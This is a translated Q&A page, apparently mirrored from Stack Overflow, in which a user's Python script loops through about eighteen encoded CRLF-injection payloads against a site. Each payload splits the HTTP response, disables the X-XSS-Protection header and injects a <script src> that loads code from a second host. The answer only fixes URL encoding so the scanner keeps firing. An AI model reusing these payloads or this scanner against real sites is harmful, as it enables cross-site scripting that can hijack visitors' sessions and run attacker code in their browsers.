简体   繁体   English

请求不在 Python3 中发送

[英]Requests not sending in Python3

I have an array with some of the requests I want to send.我有一个包含一些我想发送的请求的数组。 Basically the requests I am sending is the website + directory (in this case: arrays element).基本上我发送的请求是网站 + 目录(在这种情况下:数组元素)。 For example: http://randomwebsite.com/%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a%3Cscript%20src%3Dhttp%3A%2F%2Fhttp://anotherwebsite.com%3E%0d%0a0%0d%0a/%2e%2e例如: http://randomwebsite.com/%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a%3Cscript%20src%3Dhttp%3A%2F%2Fhttp://anotherwebsite.com%3E%0d%0a0%0d%0a/%2e%2e : http://randomwebsite.com/%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a%3Cscript%20src%3Dhttp%3A%2F%2Fhttp://anotherwebsite.com%3E%0d%0a0%0d%0a/%2e%2e :0% http://randomwebsite.com/%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a%3Cscript%20src%3Dhttp%3A%2F%2Fhttp://anotherwebsite.com%3E%0d%0a0%0d%0a/%2e%2e : http://randomwebsite.com/%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a%3Cscript%20src%3Dhttp%3A%2F%2Fhttp://anotherwebsite.com%3E%0d%0a0%0d%0a/%2e%2e

My code:我的代码:

import requests

site="http://randomwebsite.com"
tcp_server = "http://anotherwebsite.com"
list_of_requests = [
    "/%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a%3Cscript%20src%3Dhttp%3A%2F%2F" + tcp_server + "%3E%0d%0a0%0d%0a/%2e%2e",
    "/%0a0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%20src%3D" + tcp_server + "%3E%3C%2Fscript%3E",
    "/%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%20src%3Dhttp%3A%2F%2F" + tcp_server + "%3E%3C%2Fscript%3E",
    "/%Od%OaX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%20src%3Dhttp%3A%2F%2F" + tcp_server + "%3E%3C%2Fscript%3E",
    "/%OdX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%20src%3Dhttp%3A%2F%2F" + tcp_server + "%3E%3C%2Fscript%3E",
    "/%23%OaX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%20src%3Dhttp%3A%2F%2F" + tcp_server + "%3E%3C%2Fscript%3E",
    "/%23%Od%OaX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%20src%3Dhttp%3A%2F%2F" + tcp_server + "%3E%3C%2Fscript%3E",
    "/%23%OdX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%20src%3Dhttp%3A%2F%2F" + tcp_server + "%3E%3C%2Fscript%3E",
    "/%25%30%61X-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%20src%3Dhttp%3A%2F%2F" + tcp_server + "%3E%3C%2Fscript%3E",
    "/%25%30aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%20src%3Dhttp%3A%2F%2F" + tcp_server + "%3E%3C%2Fscript%3E",
    "/%250aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%20src%3Dhttp%3A%2F%2F" + tcp_server + "%3E%3C%2Fscript%3E",
    "/%25250aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%20src%3Dhttp%3A%2F%2F" + tcp_server + "%3E%3C%2Fscript%3E",
    "/%2e%2e%2f%Od%OaX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%20src%3Dhttp%3A%2F%2F" + tcp_server + "%3E%3C%2Fscript%3E",
    "/%2f%2e%2e%Od%OaX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%20src%3Dhttp%3A%2F%2F" + tcp_server + "%3E%3C%2Fscript%3E",
    "/%2F..%Od%OaX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%20src%3Dhttp%3A%2F%2F" + tcp_server + "%3E%3C%2Fscript%3E",
    "/%3f%Od%OaX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%20src%3Dhttp%3A%2F%2F" + tcp_server + "%3E%3C%2Fscript%3E",
    "/%3f%OdX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%20src%3Dhttp%3A%2F%2F" + tcp_server + "%3E%3C%2Fscript%3E",
    "/%u000aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%20src%3Dhttp%3A%2F%2F" + tcp_server + "%3E%3C%2Fscript%3E"]

for payload in list_of_requests:
    ...
    [some code here]
    ...
    if str(payload) in requests.get(site + payload).text:
        print("Request valid")
    else:
        print("Request not valid")

My output is this:我的输出是这样的:

Request not valid
Request not valid
Request not valid

And then the program stops after sending these 3 requests and it stays like that forever.然后程序在发送这 3 个请求后停止,并且永远保持这样。 I don't understand why I doesn't continue sending requests.我不明白为什么我不继续发送请求。

That is because the URLs aren't properly encoded.那是因为 URL 没有正确编码。

Try to encode them using urllib.parse like this:尝试使用urllib.parse对它们进行编码,如下所示:

import requests
import urllib.parse

site="http://randomwebsite.com"
tcp_server = urllib.parse.quote("anotherwebsite.com")

... <rest of your code>

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM